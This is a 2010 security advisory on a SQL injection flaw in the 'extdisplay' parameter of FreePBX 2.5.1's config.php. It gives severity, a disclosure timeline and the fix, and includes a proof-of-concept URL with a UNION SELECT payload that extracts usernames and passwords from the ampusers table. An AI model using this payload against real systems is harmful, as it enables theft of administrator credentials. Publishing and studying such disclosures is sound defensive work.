Advisory Name: SQL injection in FreePBX 2.5.1

Internal Cybsec Advisory Id: 2010-0103

Vulnerability Class: SQL injection

Release Date: 15/01/2010

Affected Applications: Confirmed in FreePBX 2.5.1. Other versions may also
be affected.

Affected Platforms: Any running FreePBX 2.5.1

Local / Remote: Remote

Severity: Medium – CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)

Researcher: Ivan Huertas

Vendor Status: To be confirmed

Reference to Vulnerability Disclosure Policy:
http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A vulnerability has been discovered in FreePBX, which can be exploited by
malicious people to conduct SQL injection attacks.

Input passed via the "extdisplay" parameter to config.php is not properly
sanitized before being used in a SQL query. This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.

The vulnerability is confirmed in version 2.5.1 Other versions may also be
affected.

Proof of Concept:

http://xxx.xxx.xxx.xxx/admin/config.php?display=did&didfilter=&extdisplay=12%22%20union%20select%20username,password,sections,%221%22,%222%22,%223%22,%224%22,%225%22,%226%22,%227%22,%228%22,%229%22,%2210%22,%2211%22,%2212%22%20from%20ampusers%20where%20%22%22=%22

Impact:

Execute arbitrary SQL queries.






Solution:

Update to FreePBX 2.5.2 or greater

•	http://www.freepbx.org/trac/changeset/7594
•	http://www.freepbx.org/trac/changeset/7640

Vendor Response:

2009-30-12 – Vulnerability was identified
2010-01-07 – Vendor contacted
2010-01-15 – Vulnerability published
Patches were available before the vulnerability was discovered.

Contact Information:

For more information regarding the vulnerability feel free to contact the
researcher at
ihuertas<at> cybsec <dot> com


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Download:
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http://www.exploit-db.com/sploits/CYBSEC-Advisory2010-0103-FreePBX_2_5_1_SQL_Injection.pdf